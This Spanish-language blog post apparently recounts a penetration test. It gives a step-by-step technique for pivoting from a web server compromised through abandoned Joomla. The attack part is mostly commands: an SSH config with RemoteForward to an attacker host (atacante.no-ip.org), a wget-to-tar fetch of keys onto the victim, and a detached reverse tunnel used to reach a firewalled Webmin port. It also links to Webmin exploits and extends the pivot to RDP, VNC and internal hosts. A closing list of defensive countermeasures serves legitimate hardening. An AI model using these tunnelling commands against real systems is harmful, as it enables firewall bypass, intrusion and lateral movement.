Apenas unos dias vi batallando a un compañero que realizaba un Pentest y habÃa conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, asà que no fué difÃcil utilizar un viejo módulo para subir el PHP Shell y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).
Después de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se podÃan hacer ataques:
Escenario
- Servidor Web con Linux Fedora Core 3, obviamente con instalación por defecto
- Servidor “protegido” por un FW Checkpoint.
- Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.
- No tiene ACLs de salida del servidor, are you thinking what I am thinking?
- Se ha logrado comprometer el servidor
- Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el Netcat conectándonos a nuestra máquina desde la máquina vÃcitma. Total el FW no tiene ACLs que bloqueen la salida de tráfico del servidor.
- Tiene un IP Privada del otro lado, asà que podemos suponer que están haciendo el port Forwarding al puerto 443.
- Tiene el Webmin habilitado >:) pero bloqueado por el FW :'(
Planteamiento
¿Qué sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la DMZ y/o conseguir contraseñas. Ya se sacaron los usuarios con el comando cat /etc/passwd pero los hashes de las contraseñas no ya que no disponemos de privilegios de root y hacer el viejo truco con Hydra de probar el mismo usuario y contraseñas contra un servicio es inútil por el FW.
¿Cómo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderosÃsima para la admnistración del servidor pero cuenta con un sin fÃn de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalación es por default o está sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.
Jutsu
Creo que habemos pocos que conocemos los oscuros secretos y milenarias técnicas del SSH y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:
Necesitamos tener una cuenta en una máquina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una llave pública de ssh para poder automatizar la autenticación y no perder la shell dentro del servidor:
# Creamos el directorio donde guardaremos la configuracion
mkdir ~/.ssh
# Creamos la llave sin contraseña para que sea mas cómoda de usar
ssh-keygen -t dsa
# Nos crea dos archivos que son la llave pública y la privada
id_dsa id_dsa.pub
# Renombramos la pública para poder usarla como autenticación
mv id_dsa.pub authorized_keys
Ahora creamos el siguiente archivo config:
Host atacante
# La IP o nombre de dominio que estamos usando
Hostname atacante.no-ip.org
RemoteForward 10000 127.0.0.1:10000
# Puerto que tengamos abierto y con el servicio de SSH corriendo
Port 1025
# El usuario que hallamos creado
User tunel
BatchMode yes
Compression yes
# La llave privada que no debe contener contraseña y nos dará acceso al usuario tunel
IdentityFile /tmp/.ssh/id_dsa
CompressionLevel 9
# Con esto nos saltamos el que nos pregunte que si añade la llave rsa al archivo.
StrictHostKeyChecking no
PubkeyAuthentication yes
UserKnownHostsFile /tmp/.ssh/known_hosts
Ahora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta woof.
# En el lado del atacante
woof -p [PuertoAlcanzable] -i [IP] ~/.ssh
# En el lado de la victima
cd /tmp
wget [URL Cambiando la IP por la IP pública] -O - | tar zxvf -
cd .ssh
chmod 0600 *
ssh-agent bash
ssh-add
ssh -fNF config atacante
Recuerda que si estas detrás de un dispositivo que haga NAT debes hacer reenvÃo de puerto de forma que podamos alcanzar la máquina del atacante desde la máquina vÃctima y que el URL que le ingresaremos en el wget no es la IP privada sino la IP pública que tiene nuestro router. Los que tenemos cableacces estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP Pública XD.
Y si todo sale bien nos devolverá la lÃnea de comando y veremos un proceso parecido al este:
ps ax | grep -i ssh
28659 ? Ss 0:30 ssh -fNF config atacante
Bien, ahora desde la máquina del atacante deberemos ver unos puertos parecidos a esto:
sudo netstat -ptuna | grep -i listen
tcp 0 0 127.0.0.1:10000 0.0.0.0:* LISTEN -
Perfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administración del Webmin desde el navegador usando la siguiente URL: https://localhost:10000.
Nos vamos a la siguiente página y descargamos el exploit:
http://securitydot.net/xpl/exploits/vulnerabilities/articles/1164/exploit.html en Perl
http://www.milw0rm.com/exploits/1997 en PHP
Contramedidas
- No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producción.
- Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la máquina asà la administración del FW queda en tus manos y no dependes de un tercero que no sabes que polÃticas maneja. APF es mi recomendación.
- En los ACLs del firewall es buena idea bloquear cual tráfico que salga del servidor que no sea de tipo ESTABLISHED o que vaya única y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualización local como el WSUS para Haselfroch.
- Siempre, y repito, siempre has un hardeneo de tus servidores de producción, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por túneles de SSH.
- Mantén un procedimiento para verificar la integridad de tus servidores como Tripwire.
- Mantén una polÃtica de contraseñas complejas en tus usuarios, asÃ, aúnque consigan los hashes de la contraseñas el romperlas puede llegar a ser virtualmente imposible.
- Mantén actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como GFI Languard y Nessus.
Aún siguiendo estos pasos no puedes ganrantizar que estará seguro tu servidor, siempre habrá una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas prácticas de administración de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.
Adrián Puente Z.Tags: Seguridad, firewall, webmin, Secure Shell, SSH, Apache
Ayer ya en medio del sueño me vino la solución mas directa: “¿Porque no subes el exploit al servidor y lo ejecutas localhost?” Duh! ok si, pero bueno la técnica funciona igual para alcanzar el puerto vulnerable de otro servidor dentro de la DMZ al cambiar la lÃnea:
RemoteForward 10000 [IPServidor]:[Puerto]
Funciona perfecto con el puerto de Remote Desktop (3389) y VNC (5900) y es común que los servidores de la DMZ alcancen los equipos dentro de la red interna, asà que, en algunos casos, con tener una sola cuenta dentro de una máquina de la DMZ se puede llegar a la red entera.
Adrián Puente Z.